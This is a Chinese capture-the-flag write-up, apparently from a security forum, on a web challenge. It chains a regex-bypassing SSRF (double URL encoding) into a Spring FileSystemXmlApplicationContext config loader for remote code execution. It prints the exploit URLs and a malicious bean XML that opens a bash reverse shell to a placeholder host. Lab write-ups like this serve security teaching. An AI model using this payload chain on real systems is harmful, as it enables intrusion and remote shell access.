本文查看源码可发现两个关键的链接,其中一个是
http://121.36.145.157:8088/getimage?url=https://bbs.pediy.com/upload/attach/202009/236762_Y76C73KQC7MG83G.jpg
直接打开该链接显示出了图片的源码,很容易想到的是ssrf漏洞,或者任意文件下载?
但是修改http://121.36.145.157:8088/getimage?url=https://www.baidu.com
明显是需要绕过上面的常用作限制域名的正则表达式
我们再看第二个链接
http://121.36.145.157:8088/loadConfig?url=x.xml
IP不被允许,这种配置文件猜测可能只允许本地iP访问
那么结合两个链接,猜测是需要绕过第一个SSRF的限制访问127.0.0.1,然后加载第二个链接就像这样
http://121.36.145.157:8088/getimage?url=http://127.0.0.1:8088/loadConfig?url=x.xml
那么我们怎么绕过第一个正则执行SSRF呢?
这里需要用到httpclient3的一个小BUG吧,暂且算BUG吧,就是在解析URL的时候对URL编码的处理上的问题
关于这个我之前在知识星球上有发过,只是不知道看到的人有多少。
https://t.zsxq.com/AYVzbYF
最终结果就是
http://121.36.145.157:8088/getimage?url=http://127.0.0.1%253a8088%252f.pediy.com/loadConfig?url=x.xml
文件当然是不存在的,这里不要想当然的认为这是一个任意文件读取,注意看报错的最后的语句
看到FileSystemXmlApplicationContext是不是很熟悉,记得去年weblogic有个漏洞的绕过就是利用了这个函数,加载了远程的恶意xml配置文件,导致
反射代码执行。因此可以构造如下远程XML
<?xml version="1.0" encoding="utf-8"?>
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb1" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>/bin/bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/x.x.x.x/8080 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>
访问:
http://121.36.145.157:8088/getimage?url=http://127.0.0.1%253a8088%252f.pediy.com/loadConfig?url=http://xxx.com/x.xml
反弹shell
然后在home目录下找到springboot的jar包,想办法下载回来,反编译即可得到flag.txt
当然题目到这里就完成了,我提一个更加有挑战的事情,就是如何在这样的情况下拿到webshell
因为如果我把flag放到数据库里面,没有webshell还是很难搞的,或者直接禁用系统命令的调用,这时候是不得不拿webshell的
这里需要解决两个问题
1、xml配置文件如何执行任意代码
2、springboot无文件落地webshell
既然大家已经得到了springboot的jar包,自己部署起来测测看吧!当然是能做到的
加油……
[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。
最后于 2020-11-19 14:53
被kanxue编辑
,原因: